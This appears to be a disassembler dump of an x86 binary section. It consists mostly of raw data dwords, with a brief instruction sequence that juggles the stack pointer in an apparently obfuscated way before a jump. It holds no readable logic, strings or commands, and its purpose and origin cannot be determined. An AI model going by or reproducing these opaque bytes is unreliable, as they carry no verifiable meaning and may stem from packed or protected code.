dd 5DA8EEEBh, 46A5E312h, 0B806FE78h, 0EC5D793Fh, 0F75EADEBh
dd 3, 6E9DA70Fh, 96D92C68h, 81C05B61h, 8D34575Bh, 0BA25404Eh
dd 0A9287341h, 0D41F6E34h, 0C1009B21h, 0CF769519h, 0F2788307h
dd 81E28952h, 4C2h, 4EA8100h, 87000000h, 895C2414h, 0C068243Ch
dd 89000039h, 8957241Ch, 4C781E7h, 83000000h, 3C8704EFh
dd 34895C24h, 0AABE5624h, 8905E955h, 24348BF3h, 5404C483h
dd 8124348Bh, 4C4h, 8B95100h, 1000000h, 2C8153F1h, 0C2313324h
dd 81018F27h, 0C2313301h, 348B5927h
db 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
mov ebx, [esp]
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
jmp loc_4F5CCB
; ---------------------------------------------------------------------------
db 0C8h
dd 99EA43E2h, 5A25B8B7h, 0C50305E9h, 9054E0FFh, 982D3E4Ah
dd 0BF1F43C7h, 8BBD265Bh, 0D0807AB0h, 0D1684E07h, 0DBAA518Ch
dd 0EE194FB2h, 0E1056094h, 0BB933A79h, 84960E8Fh, 2A11536Eh
dd 0A26E1227h, 84474E1Ch, 0F9577DA4h, 1EC00CD6h, 94ED6765h
dd 0FD1D53F9h, 4EB6132h, 44AD884Dh, 562E9h, 6827400h, 692DA998h
dd 0D0DC1C6Dh, 3A8077CAh, 6230AD9Ch, 9728CF64h, 0CFB25866h
dd 2918860Ch, 9EE3EFB3h, 8FB75359h, 0E260D176h, 0CCB1F9F1h
dd 29696E0Eh, 5A93EAB0h, 0A6579EEDh, 4A8FF218h, 41B6394Ch
dd 35A1207Bh, 30AB2A71h, 0C80E1B62h, 0C703F364h, 246295D4h
dd 877FF9C1h, 7B4B0D31h, 4C488CCFh, 0E9BBC39h, 0E1CF5528h
dd 1BDC8324h, 0C2596597h, 0F3B65C89h, 28198509h, 549FEEB2h
dd 228C1FA5h, 0FCFE4C38h, 0A2572AB0h, 0B82265E4h, 463E63F4h
dd 8BF8BC35h, 304E2B32h, 29FC1843h, 0FAC03978h, 1A8D79E1h
dd 3A050DC7h, 6464h, 696E5E00h, 0C07FD823h, 0E7FC18B9h
dd 0BF129561h, 6E3A0413h, 99ECAA2Fh, 44043B5Ch, 97E4141Bh
dd 1C936h, 0AEFD0000h, 59ACEAEFh, 5084CB1Ch, 468E3154h
dd 39783B42h, 2DAEFDC1h, 6422D59Ch, 94C562E5h, 4DFC18B9h
dd 0C44ED5F6h, 0C9D70245h, 0A6A039B2h, 307460CEh, 0A55417AAh
dd 7E4F8C1Fh, 1A8006F3h, 2D6D6E5Ch, 549FEEACh, 73A8E5A3h
dd 692DA928h, 7F43B7F6h, 93C4652Ch, 42FC18B9h, 42FB8F5h
dd 0A784CEEh, 0A2C7C3D1h, 6B162035h, 0A6195B3Eh, 155C6D33h
dd 8ACB6CE4h, 5BFC1861h, 0ED54B7ECh, 3A5AA1EDh, 9C41C8BCh
dd 333A04E9h, 75h, 0FB6D6E37h, 0AE8EC699h, 8D1855BDh, 0F30A9642h
dd 0B1FDC9B3h, 18F4C4Ch, 0D3D871FAh, 0D2549483h, 5DECEA27h
dd 5C06F1CCh, 18557AFBh, 0BBDCABFCh, 7B4CFB8Bh, 86B907F4h
dd 41B1A207h, 876DFC18h, 8DD8F01Ah, 4180FF9Bh, 40F51096h
dd 6295DC67h, 39BFC124h, 7417DA4Dh, 45B43A04h, 35000000h
dd 0A5068272h, 276D6EC1h, 535F9DC4h, 8E66E0C8h, 0E9F5BB20h
dd 22666EE3h, 317F7C3Fh, 0B73E61EAh, 9821AAF1h, 0B99E94FDh
dd 4583FC18h, 5982C571h, 19F4724Bh, 0B63A0413h, 8, 3B897033h
dd 94526BE0h, 0C7266A6Eh, 0CE5D5B9Ch, 208E66E0h, 0B2F6FEB8h
dd 0A9285945h, 18B94F00h, 10A986FCh, 0D81C3A27h, 0F9E22D6h
dd 0C10A91CEh, 0B978F95Eh, 0D2A9FC18h, 2545E265h, 0DC01FACDh
dd 0F522706Dh, 26AA2F96h, 0FAADD081h, 47E001F9h, 0F9FAAD16h
dd 0CE3B70CFh, 0D8DC185Bh, 0B1261B0Fh, 0ADD79821h, 0A803F9FAh
dd 6AD8F93h, 673C856h, 52E79AE7h, 4DBCF9FAh, 52EC6DCAh
dd 5328F9FAh, 0BF953491h, 7E4F2422h, 45B200F4h, 9B2B2C8Dh
dd 8DFAF9FAh, 74374A50h, 0BEA13A86h, 0A9287339h, 0E3136A30h
dd 0D8016D59h, 934E34D2h, 383FE635h, 15Ah, 5D7B1802h, 428B12A0h
dd 79B51215h, 9001FADFh, 0C39D6407h, 4D8EB8D3h, 0AADD0A47h
dd 91CD8E2Bh, 18DFF9FAh, 44C20B92h, 0CB7DEEFh, 60C1CDCBh
dd 6BEA3177h, 6D19F46Eh, 0D2B20972h, 1EDF0665h, 0E15E5A9Ah
dd 3D3E9B9Ah, 0D4F9FA38h, 0E3B1289Fh, 40343E98h, 4430BAF8h
dd 1FBB01F6h, 0E694BC11h, 0F6F8113Fh, 805AB55Fh, 5953D0E9h
dd 97000000h, 0D2557918h, 18B91475h, 0E61756FCh, 0BF084DD8h
dd 0A0891C6Bh, 0FC18B9AFh, 1DBA3EBDh, 0FC18B95Ch, 3A41BEF5h
dd 2E7D41BBh, 4FB185C5h, 0C004F07Ah, 6DFA6D41h, 25663D1Dh
dd 42CD1E4Fh, 185BA4E5h, 0BE51C6FCh, 0B58091E1h, 1368BE0Fh
dd 0E1AD2D6Ch, 939FC2D8h, 0A7000000h, 0D0577B18h, 0FAD2E777h
dd 3A413E01h, 0A57EEE7Bh, 0AFB226F9h, 912A672Bh, 676329AEh
dd 0E30BD502h, 474D8ED1h, 0F28521D6h, 0D769EA4Fh, 0C3B8F9FAh
dd 122A7796h, 4FF9FAD4h, 18C12D19h, 0DE437492h, 6CD277EAh
dd 0A707E07Bh, 0B1C059C8h, 91F382ACh, 0B9384364h, 44C77A40h
dd 0D3D972E3h, 0F3D4A3F7h, 0F0C48E68h, 89716FF4h, 0D659C805h
dd 0D3D9C071h, 815A11F7h, 74B5B91Eh, 0E75C09C9h, 0FCBC2160h
dd 6740BDFBh, 975F1EA3h, 90498813h, 0D7AF30Ah, 7B18CEBCh
dd 2E51D057h, 18B9C889h, 992219FCh, 2143230h, 1F6EC502h
dd 796523D4h, 484E89C8h, 8107F07Fh, 0B9BA1F9Eh, 0B3F9F1E2h
dd 63D84644h, 3170335Ah, 90F9C2C8h, 38B4FA4Bh, 53F477FAh
dd 0BB36FDE2h, 0FB634433h, 0A03ABF0Bh, 6E1E055Dh, 4CFDE9DCh
dd 0A1EE420Eh, 0AE933F74h, 4F00A929h, 86BB364Ch, 0A6297CA9h
dd 0DAAEB52Fh, 9879C7D9h, 0FB9C649Fh, 0A11EC65Dh, 2F27C5Ah
dd 0C24543B4h, 0D275E643h, 0DDACBB36h, 87209D19h, 7939BE83h
dd 6AE33A80h, 0ACFFC337h, 0C4FF22Fh, 52F9C2CEh, 3F3h, 9DA70B00h
dd 0D92C686Eh, 0C05B6196h, 34575B81h, 25404E8Dh, 287341BAh
dd 1F6E34A9h, 9B21D4h, 769519C1h, 788307CFh, 124A68F2h
dd 2C890000h, 61156824h, 4890000h, 0E2895224h, 4C281h
dd 0EA810000h, 4, 5C241487h, 68242C89h, 708Ch, 0BA241489h
dd 46C471A0h, 2D2ABAB8h, 5AD03143h, 242C8B54h, 4C481h
dd 0B9510000h, 8, 189E901h, 81240C8Bh, 4C4h, 242C8B00h
dd 81E78957h, 4C7h, 4C78100h, 87000000h, 0FF5C243Ch, 81582434h
dd 4C4h, 1FA5E900h, 0CF86FFF9h, 74E46218h, 84F8B25Dh, 0B8C9F42Fh
dd 5E95FF2h, 0E0FFC503h, 176A2652h, 5B25FD12h, 20B88AA5h
dd 23A141Ch, 383E7F72h, 4F2C357Ah, 6CC00A6Dh, 4EBF6E0Eh
dd 746403A0h, 6988574Eh, 2EA7B7D4h, 26D6DFEAh, 164E13A4h
dd 3F05C065h, 12F65D15h, 38E095CDh, 560C9414h, 37738B7Eh
dd 7A38576h, 762AC01Bh, 61928D8Dh, 6A05E9h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 180424h, 53430000h, 0C2CDA3C3h
dd 2DB48F22h, 0BE98D89h, 0BF0F05E2h, 6185C7D7h, 0C805E207h
dd 6A00005Ch, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 1C042444h, 45000000h, 0F210C355h, 5E625AF5h, 9459488h
dd 0E2219195h, 5585C705h, 5E21Bh, 8B000000h, 0E217CDB5h
dd 0D9B5FF05h, 8B05E21Fh, 0E22B25BDh, 1595FF05h, 6A05E20Bh
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1D042444h
dd 43000000h, 1B77C353h, 9F4A6B69h, 0A017DF01h, 0B55231BEh
dd 48D2BB03h, 6A5B7Bh, 0AB995FFh, 0C08B05E2h, 0B8A71DEBh
dd 2F600648h, 0D3FBB850h, 89EE7D24h, 26395E75h, 8BA49053h
dd 939CD373h, 0EB6CC9DFh, 0D86EDA04h, 4F2E96Bh, 27D10000h
dd 0D2026763h, 8179C8D6h, 25D0913Dh, 0D5067B67h, 0CDB4C3CFh
dd 19850BF0h, 0E7E3B128h, 4E545882h, 12B8FEFBh, 0C576D352h
dd 1CF9F1D8h, 696ED511h, 1659D823h, 0CEF903E5h, 0B13232BEh
dd 13B42144h, 0E5E1AF2Ch, 36555384h, 95464A8Fh, 4A4805D3h
dd 5F9417F3h, 0A2588FCCh, 0FFBEA11Eh, 0E368B3F7h, 0C430B3DAh
dd 0BFF9A5C0h, 387E7BC7h, 0D934609h, 0BE6C7DFEh, 18D11CBh
dd 97F6BA20h, 84E7AD2Ch, 0D374F73Ah, 0FC18B062h, 0A8A90EB3h
dd 79FC18B0h, 6992D502h, 0ECD8825Bh, 9E5A5C9Eh, 4839A512h
dd 5716098Fh, 4E8F1EA4h, 0F589D67Dh, 0EEFC18B0h, 0C8058C78h
dd 673A041Ch, 46h, 773BA1E0h, 696E9056h, 0C07FD823h, 0E7FC18B9h
dd 0BF129561h, 6C3A0413h, 8, 6D2BAAEDh, 3E0CDD1Eh, 3F22666Eh
dd 0AA33797Ch, 10944083h, 0D8B4AF5h, 2F2B4FEh, 5E4440B4h
dd 0B9A8EEEBh, 2CBD03F6h, 0EFAE707Eh, 115AA1EDh, 4E5489C8h
dd 5FE3743Fh, 0FC811494h, 4A8AB516h, 25873F4Eh, 0AAF8E551h
dd 1E9C5D2Ch, 894448Fh, 211553FDh, 0E6A25215h, 67CA1C5h
dd 75D33A05h, 17000000h, 59FB6D6Eh, 0FE7FD862h, 17FC1836h
dd 46583F58h, 145FAE1Bh, 0C14DD8E4h, 0F778C140h, 2EFC1812h
dd 0F6CE8851h, 0DA4D5388h, 8952609Bh, 612FAC9Dh, 9E1CDB1Ah
dd 25A4E50Fh, 1812D384h, 943502FCh, 8A57DAAAh, 0C13A04BCh
dd 56h, 276D6EE5h, 35796120h, 394465D6h, 857244B6h, 59B3CA07h
dd 286B17EFh, 5E9FEEB2h, 19A2F0EBh, 0E815A556h, 7B616DDAh
dd 0A3E7EFAEh, 97307C7Ch, 1D682CA8h, 18B93E34h, 0D1A523FCh
dd 0D48522A5h, 0DFC18B9h, 0BB07F336h, 54D2EB60h, 3A041379h
dd 1D6h, 6A6EE800h, 923F8DFAh, 332A7725h, 5D03140Fh, 0AED10EFEh
dd 61A0EEEFh, 8DA83175h, 10179542h, 5C074891h, 64C5FC18h
dd 0FC185CF3h, 72C95522h, 7AE4C269h, 0F0BC3C8Ah, 487CE1EAh
dd 28CE70D9h, 4A2101FAh, 8B47B033h, 0FA402D2Eh, 588FE4F9h
dd 4F8C1F9Dh, 0AD2C6F12h, 765784E7h, 6228D190h, 40033E1Bh
dd 0C631F9FAh, 74ECA5C0h, 96148B01h, 464AB0F7h, 0A591DB27h
dd 0F3C38553h, 975E5287h, 4B3EA411h, 3D7028Eh, 0FA22B5A6h
dd 0DA176CF9h, 0DF2E7467h, 9BDA219Eh, 0B029585Eh, 6158CCB7h
dd 23394FFh, 0D3F9FA4Dh, 0F79E2F64h, 0BD09FD7Fh, 2A507E3Ch
dd 3FE707F7h, 12354h, 0EFAE6E00h, 2F18A1EDh, 0BE1B0E22h
dd 1FADF40h, 0A7A831B0h, 7EF9FA9Eh, 1562B801h, 0C8A4FF6h
dd 7A36A386h, 6FEC3F7Dh, 9E1E5FF8h, 7837F9FAh, 8079F803h
dd 0E953E33Ah, 49EE111Dh, 0F9FA9E08h, 44E962D9h, 0E288C786h
dd 0FAFF627Bh, 0B56816BCh, 1A3FE652h, 4Fh, 5579182Ch, 0B91475D2h
dd 2A4DFC18h, 8D4912B6h, 0B2B5E210h, 0A8A59633h, 0C267FC18h
dd 0FC18A891h, 106FEB40h, 92C3ACB7h, 98FC18A8h, 83C2595Fh
dd 4D31545Ah, 0E0C53B0Bh, 0CB568E66h, 42C3641Bh, 0F3FC18A8h
dd 1643498Eh, 7E5988h, 186D0000h, 77D0577Bh, 1FAD2E7h
dd 0BB3A413Eh, 0EF52783Eh, 0F059ACEAh, 0F9FAA344h, 0EB572F19h
dd 0F6B9A8EEh, 7B2FB804h, 48FFD370h, 0E0011CEFh, 0E33A7107h
dd 0E317760h, 0E5008E4Fh, 0EF3E7A7Ah, 8DA8316Eh, 0F1149842h
dd 0F803894Eh, 0AC14E04Ah, 0D664501Ah, 0C241F257h, 0DB90F7D3h
dd 242902h, 60C5B801h, 893809C9h, 7C8F15C6h, 64ED6EFFh
dd 4F24EDACh, 0B5FA6F12h, 6A06EABEh, 580604A5h, 9D5D7B18h
dd 8E4B8A11h, 378FD08h, 37F653D6h, 7502021Bh, 0A2F9C732h
dd 0B804F629h, 4BDFE86Dh, 0B126A9FCh, 5D9AEFEBh, 3E257983h
dd 9ECB490Ch, 1193040Fh, 0B58646A3h, 62036C7Dh, 8B6FA0BDh
dd 5089F5C1h, 0DB109440h, 0F8D4A3Fh, 48275FCh, 675F19E1h
dd 79E34EDBh, 0E4D8150h, 4745B2BDh, 0ABF1E65Bh, 0DF150h
dd 0AE350000h, 0B9C98A2Fh, 2318FC18h, 6E541E9Ah, 96D92C68h
dd 81C05B61h, 8D34575Bh, 0BA25404Eh, 0A9287341h, 0D41F6E34h
dd 0C1009B21h, 0CF769519h, 0F2788307h, 815D5455h, 4C5h
dd 4ED8300h, 5C242C87h, 0B4C68h, 241C8900h, 81E28952h
dd 4C2h, 4EA8300h, 5C241487h, 51243489h, 54F6F68h, 0E1C1592Ah
dd 3E1C107h, 0A5BFC181h, 5B51F0ABh, 2F196859h, 24890000h
dd 24048324h, 57535E04h, 0AF2D55BFh, 247C314Eh, 468F5F04h
dd 8768108h, 4EAF2D55h, 5724348Bh, 0C781E789h, 4, 4C781h
dd 3C870000h, 1C8B5C24h, 0E6895624h, 4C681h, 0C6830000h
dd 24348704h, 1969E95Ch, 502AFFF9h, 0BB776DEDh, 0E96619B8h
dd 0FFC50305h, 3E58B7E0h, 0AE40BE78h, 111DAE13h, 3DAE2D05h
dd 0BA41E14Fh, 20380413h, 9F11D476h, 0EAAD9856h, 35A2A314h
dd 5DBFFD73h, 6E859512h, 0AF3EE665h, 0D397BC0Ch, 7725C858h
dd 46BC2D69h, 7EAB0B17h, 9BAFD505h, 86158D4Dh, 797BBB06h
dd 50038958h, 0FB4C7868h, 4B52F33Ch, 594E7C43h, 5B527F54h
dd 0ADC99F04h, 9D9A2C0Fh, 0F4370A53h, 0F2859244h, 6853FC2Eh
dd 7B04EB6Dh, 0E90C3E1Eh, 526h, 0F9E5A157h, 42484C88h
dd 2BB7FBFFh, 0FD199F56h, 45414F8Ch, 8576472Eh, 2BAE933Fh
dd 0D2087965h, 7861C0CEh, 59A89432h, 0F1DE7FF0h, 2FEF96F9h
dd 0D823696Eh, 0B05E6499h, 7B8208F1h, 397D7938h, 115069E2h
dd 0D85BA2E8h, 0CD585E99h, 0C4303F88h, 2D2E8B0Ah, 0E4FC18B9h
dd 0B9BDBE8Fh, 1F54FC18h, 0E1185BA2h, 0D10948D3h, 0E85EBECDh
dd 0E4A6A41Ch, 7735A210h, 0D8E4166Bh, 18D4F32h, 0D62EBBFAh
dd 24ADA156h, 0DB02604Eh, 0B0ED772Ah, 0E3B12817h, 40343E98h
dd 858408F2h, 749715C2h, 4120E6C7h, 0AE8B1298h, 0FC18C390h
dd 20D99889h, 2D19419Ah, 48D27FAh, 6B843Ah, 42050000h
dd 0F6B41593h, 0D823696Eh, 18B9C07Fh, 9561E7FCh, 6234A6E9h
dd 9BD02B79h, 34E99D2Eh, 993A0413h, 43A2100h, 1840B2A3h
dd 31463FCh, 3394A6E3h, 6CEh, 0D1084B00h, 6E0CFAC3h, 98DB2266h
dd 42CD585Ch, 0B9F566C3h, 572CFC18h, 8E0CCB76h, 8400F47Fh
dd 0B5FBFE61h, 0AA9ADC56h, 9E96D056h, 0FAE0A450h, 4E545287h
dd 276D6E80h, 0DB1A5DC4h, 0D6074EDDh, 74A93C8h, 2B0CBCFh
dd 7D7ECCB8h, 81FEBC3Dh, 0F5B32405h, 2DACEF96h, 0DF1B4667h
dd 99C22D9h, 0D19097CCh, 3D586125h, 2E615593h, 3A041203h
dd 0CECC0B4Ah, 0FAC634BFh, 7AF73C8Dh, 0CB000000h, 0C4276D6Eh
dd 0CA515D9Dh, 0C8360E48h, 0E0018D13h, 2B7238A1h, 4069D37Eh
dd 0BCE9E686h, 0E9B7242Bh, 0E6A45392h, 0BFB7D87h, 44E5984h
dd 67F63Ah, 30730000h, 4E2FBC9h, 0C98A2FAEh, 18FC18B9h
dd 26D79A23h, 31A6E998h, 88CB526Bh, 0DD3F4E52h, 0ACEAEDACh
dd 0B95B1CBDh, 0BD8AFC18h, 2452222Ch, 0D02B7765h, 0DE1F429Bh
dd 0BF63080Ch, 0A7B0B02Fh, 35818862h, 616DDA52h, 22666E7Bh
dd 0B9C07EDBh, 6FD9FC18h, 13BD1097h, 87103A04h, 2B39D56Ah
dd 9A07A092h, 1, 266A6EACh, 5D5B9CC7h, 0FEA1E0CEh, 2C16B7FDh
dd 0A2EEEA58h, 3A2E3324h, 32238407h, 0E3FC18B9h, 6BCC3394h
dd 1FACDDBh, 0A72E7DCAh, 64F57432h, 0F3C0B827h, 5B4F9889h
dd 50ABF1E6h, 0FA1E78F7h, 4D392FF9h, 14B2F8E1h, 0E9ECA455h
dd 0A61358A3h, 0DDDB1C47h, 9F003DAAh, 9B98A01Bh, 3FB83B42h
dd 3AA32279h, 8FC91174h, 4C2D41B7h, 31EB6CCDh, 4D3AF9FAh
dd 0B402F27Ch, 3874F43h, 980673F8h, 1041E669h, 0C1F9FA31h
dd 0F8D5516Ah, 573FE69Bh, 120h, 577B186Bh, 0DF3B77D0h
dd 64901FAh, 9014C0CEh, 2F04825Bh, 0FA6495DCh, 0F49FCD6h
dd 2BB7EC48h, 801BA156h, 6F129841h, 620A4BECh, 6CDBF9FAh
dd 3882305Bh, 0B3F9FE4Ch, 0EEB46917h, 56193FE6h, 43C0199Fh
dd 4Eh, 55791867h, 0ADD045D2h, 181F1F5Bh, 9EC140CFh, 2D76575Dh
dd 0FC186DFCh, 0C8A4F0Eh, 7DDA6FBBh, 0FC186DFCh, 9AE15E15h
dd 9F1DD89Bh, 95FECF0Ch, 0FC186DA4h, 32B282C4h, 0AF083F2Fh
dd 0FC186D7Eh, 0AF32D897h, 90h, 0E1AD2D6Ch, 7B18E2D8h
dd 0B93B3C9Dh, 9DEAFC18h, 7D7E2120h, 0F667D437h, 100A0AFDh
dd 53DEEFDFh, 0FA8064F6h, 0A5C0BF01h, 0D3FFBD3Ah, 0D823696Eh
dd 0FAD1C57Fh, 0D8AC9AF9h, 0B5256D6Ah, 2516BCE9h, 92151438h
dd 0D585B613h, 0ED5CF9FAh, 1D5EADE9h, 51BE07A0h
dd 0B807E04Ch, 6DAFA009h, 966F7D3h, 0D23CADDCh, 0D2D94968h
dd 0A546A5B6h, 4F7DE021h, 6B6CD77Eh, 76F0DE2Dh, 0F5D9467Eh
dd 4688D572h, 0AA8109C9h, 1BDA9D2Ch, 0C05B5F97h, 0B98D5E8Bh
dd 0C98A2FAEh, 18FC18B9h, 0BCA19A23h, 0D3309988h, 21020220h
dd 0EA31777Eh, 75C25861h, 6C2AAF16h, 0D0D60366h, 0C8892E51h
dd 19F9F1DEh, 95F29922h, 194BFFh, 0A784C0Eh, 0BEC3CFCDh
dd 70DF2529h, 0D8EB66D7h, 57C0BFF3h, 0EEFF2424h, 0D5307663h
dd 3A2D6B6Ah, 0B65D1EBBh, 0B5F4F3D8h, 0A82D7846h, 0E7C36A73h
dd 0A0CA2DBAh, 83CFB4B5h, 0F644303Ah, 1384BB01h, 7DDA1C87h
dd 0F3D8BCFCh, 0A33D5E15h, 0FCE120DBh, 0C5E657B6h, 317760C1h
dd 178BEAh, 89080000h, 0D8B12F20h, 3089E6F3h, 8A2FAE4Ah
dd 0FC18B9C9h, 1E9A2318h, 2C686E54h, 5B6196D9h, 575B81C0h
dd 404E8D34h, 7341BA25h, 6E34A928h, 9B21D41Fh, 9519C100h
dd 8307CF76h, 0EC81F278h, 4, 57242489h, 4BFh, 247C0100h
dd 9685F04h, 8900004Ah, 8957242Ch, 4C781E7h, 83000000h
dd 3C8704EFh, 3C895C24h, 75B95124h, 0C1078524h, 0D1F707E1h
dd 49ABF181h, 0C1815BD0h, 28FB143Fh, 25C18141h, 897630C6h
dd 240C8BCDh, 4C481h, 5A680000h, 8900003Eh, 4832424h, 555F0424h
dd 2C44BD55h, 6C3126ECh, 8F5D0424h, 77810847h, 0EC2C4408h
dd 2434FF26h, 4C4815Fh, 0FF000000h, 815D2434h, 4C4h, 13BDE900h
dd 8A1FFFF9h, 78CE0FB2h, 0C3B8F27Eh, 305E96Bh, 98E0FFC5h
dd 0AF458831h, 0E95657AEh, 1257C0Fh, 0C1430955h, 0E344485Dh
dd 0D78D33Fh, 0B823BB0Fh, 0E40FAF8h, 0C52F266Fh, 9C648766h
dd 0DD230AF4h, 7B306C50h, 906274CBh, 0FC454C5Ah, 0EB2B7F15h
dd 290A9104h, 528E902h, 17C10000h, 0C2327793h, 7169D8C6h
dd 15C0A12Dh, 0C5360B97h, 0BDA4D3FFh, 29B5FBE0h, 0F713A158h
dd 5E4448B2h, 22A8EEEBh, 0F566C322h, 2CF9F1D5h, 696EA561h
dd 6499D823h, 8F1B05Eh, 3D484C88h, 0B93843B8h, 0A0237A40h
dd 0D949AC34h, 0A3D28324h, 3403FC18h, 10202723h, 98C240DBh
dd 0CF995EACh, 0BF45D6F6h, 1859FEC6h, 0C9FC1892h, 13C20572h
dd 0CFB25895h, 99E810Dh, 0EA0AA239h, 6238811Bh, 4AD1DD1Fh
dd 0BBC2D00Bh, 0A8F3C138h, 9CEFB329h, 0C43C0832h, 9B3CBFE2h
dd 0FC187CDAh, 0A3AB3C0Bh, 297567D3h, 9D1BDCADh, 632FABEAh
dd 630AD318h, 187C6806h, 0FFF771FCh, 0C1C73073h, 0D88F42F8h
dd 7F3E3A04h, 66AB3C7Ah, 83h, 23696E58h, 352EAB3Ch, 5573BED5h
dd 0F180E974h, 0F6FC1817h, 0D00D8470h, 7F3A04C1h, 1, 0E8666E43h
dd 18B90E4Fh, 3968C7FCh, 7883F8BEh, 86B9FDF9h, 728915C7h
dd 4F5586F9h, 696CD77Eh, 1CBD3C23h, 0FC18B95Bh, 0E2EE4587h
dd 29355D86h, 63E28952h, 0B9D63579h, 69E997B6h, 5383C6B6h
dd 0C4E3457h, 0DF42C038h, 0CA515F9Ch, 463E3881h, 12B8FCF8h
dd 8ACB6CEFh, 5BFC18C2h, 6394DBECh, 6EB3B925h, 9DC4276Dh
dd 2EA25759h, 18B9C889h, 0F52219FCh, 0E0AE2F96h, 972F7EABh
dd 0E8156155h, 8C4D3CDAh, 35B4FF0Eh, 18B9A394h, 0A40572FCh
dd 2A713DBDh, 18632FABh, 619523D9h, 529DE825h, 5586E5A3h
dd 49AF8721h, 42C5B137h, 3A04119Fh, 552Ch, 6D6E1600h, 5D9DC427h
dd 0CA58718Dh, 2865D406h, 1F1751DDh, 7E642AD3h, 0B9CCD20Bh
dd 0A2F9BF36h, 0B9F0C402h, 3A045F74h, 226040D9h, 0EBDB28DFh
dd 37ADD2h, 6E910000h, 9DC4276Dh, 0E0C8535Fh, 0BB208E66h
dd 0D958E9F5h, 18B9FF70h, 0A35316FCh, 1A5784E7h, 666EE5C1h
dd 0C07EDB22h, 0D9FC18B9h, 0BD10976Fh, 123A0413h, 1, 266A6E54h
dd 34786023h, 90498893h, 0B1D4D800h, 52BCCF04h, 4A0BAC2Fh
dd 9BFC18B9h, 63531BACh, 0A8DFE317h, 3E17613Fh, 1F952F8Ah
dd 78C128F4h, 0BE28219Eh, 42FF4D9Eh, 94474364h, 3A4DB8Fh
dd 1FA6263h, 8D13C689h, 0F4378Ch, 714AB3A5h, 561C8215h
dd 22AFA009h, 966F9FAh, 0A8964300h, 30A92873h, 0DC1D6C6Ah
dd 4FE24FDEh, 7DF9FA32h, 67EE3D79h, 0CD13472h, 0AA067A4Ah
dd 0FBBAC8BCh, 62D374FCh, 0B3F9FA32h, 333E8FC4h, 0A7DAC0C6h
dd 53AAF6E4h, 599EC11Ah, 2AAD2C53h, 0FA32CC8Dh, 1D2E05F9h
dd 0F9FA325Ch, 7A46B4F5h, 6C7DAA23h, 53599EC1h, 4430BAC8h
dd 1FBB01F6h, 682EABEAh, 9EF62B5Fh, 20553FE6h, 69000001h
dd 0D0577B18h, 0FADF3B77h, 62E55201h, 0E8AC9FF5h, 0B5251994h
dd 2BBCE9h, 749218C1h, 0A7C6C435h, 33B06BFCh, 407FAF57h
dd 0B9FFF867h, 0EE51D062h, 0DB5AA1E7h, 0FA1BFD7Eh, 0E25F14F9h
dd 59A591D9h, 6591D0A0h, 0C891DA21h, 0F9FA1B87h, 2EB4E15Eh
dd 0E6B5AD60h, 5F023Fh, 18240000h, 45D25579h, 0FEFFAF7Eh
dd 77E055B0h, 9F28CD97h, 0EF56B710h, 0B08FFC18h, 0EE4B0C55h
dd 9841FC18h, 90488B12h, 11B6F90Ch, 0FC18EE20h, 0F274BAF1h
dd 2129BE02h, 0B8B02955h, 67E87103h, 0BEFC1864h, 0A32C48C1h
dd 65800ECDh, 4922BBF0h, 0C663E6C6h, 0FC183945h, 0C61B87FCh
dd 67h, 577B18FCh, 0D2E777D0h, 9D3E01FAh, 2F59A6FEh, 54B7EC77h
dd 20AEECEDh, 6F129841h, 85E0AC2Ch, 83EC7750h, 0F9FA00E9h
dd 76C4B0B6h, 0DC9F3B81h, 4BEC93B7h, 7E09D68h, 34BFCEA5h
dd 870BCFC3h, 63BAF764h, 5DE9DD87h, 49DCE01Ah, 5DC2BB0Ch
dd 3477F669h, 86EFF8C4h, 9CE0EB7h, 7B49B2F5h, 0F412AB20h
dd 185513BFh, 77D0577Bh, 20226A4h, 387B82F9h, 0AD3E8479h
dd 6B7735A2h, 210441D6h, 5277B5B7h, 0C65728C8h, 0EAF36904h
dd 0D1347267h, 30B89688h, 9F97D106h, 0FAE0A653h, 0C4DDD247h
dd 0A7551872h, 189E5B06h, 7773F069h, 99F6AE24h, 0ED7A2540h
dd 1679CCFEh, 4DF4D5D1h, 11F90C8Ah, 0E6135F57h, 92473AA0h
dd 3AEF114h, 0D4000000h, 686E9DA7h, 6196D92Ch, 5B81C05Bh
dd 4E8D3457h, 41BA2540h, 34A92873h, 21D41F6Eh, 19C1009Bh
dd 7CF7695h, 83F27883h, 0C8904ECh, 81E18924h, 4C1h, 4E98300h
dd 5C240C87h, 81E68956h, 4C6h, 4EE8100h, 87000000h, 895C2434h
dd 8952242Ch, 4C281E2h, 81000000h, 4EAh, 24148700h, 240C895Ch
dd 80680BBDh, 0B5B85013h, 0C1519D4Bh, 770507E8h, 3569B62Bh
dd 5C5B670Dh, 9A35D8F7h, 2D28CF17h, 0EEC9E4C3h, 5458C501h
dd 81240C8Bh, 4C4h, 5CDF6800h, 2C890000h, 8418F24h, 56240C8Bh
dd 0C681E689h, 4, 4C681h, 34870000h, 34FF5C24h, 0C4835D24h
dd 0E41E904h, 0BC4FFFF9h, 34B84703h, 305E971h, 7BE0FFC5h
dd 877A8FFCh, 2346BE4Dh, 6C14A14Dh, 762BF3AEh, 0C911E98Bh
dd 45691312h, 2B028FB1h, 1965F2C3h, 0A4429AC3h, 8227A140h
dd 6C17E627h, 676E9713h, 463DDF9Ah, 3C212E48h, 0F91B0F77h
dd 2E21B794h, 76AF8AAh, 0E6F9804h, 0BA5D6DE0h, 0E8749619h
dd 0B771BECFh, 0B4559346h, 3E200A4Ah, 3E01F5EBh, 8D5FBB0Dh
dd 0E972EA8Dh, 0FBBF0F05h, 0BE98D89h, 6A05E2h, 3E855h
dd 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h
dd 85C725C3h, 5E20761h, 736Ch, 5E9h, 39B03900h, 8F0F39B0h
dd 6, 9419D8Bh, 85C705E2h, 5E21B55h, 0
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 63C35343h
dd 0D2CB56F2h, 6D0468DAh, 187BE081h, 6E905F5h, 0B3000000h
dd 0BA2114CEh, 0D1B5FF11h, 305E21Ch, 0E207A5B5h, 1595FF05h
dd 6605E20Bh, 6AF28Bh, 0AB995FFh, 0C08B05E2h, 5B4D4CEBh
dd 78E75754h, 70913EB1h, 25EB9426h, 0A7078D69h, 0F04C1943h
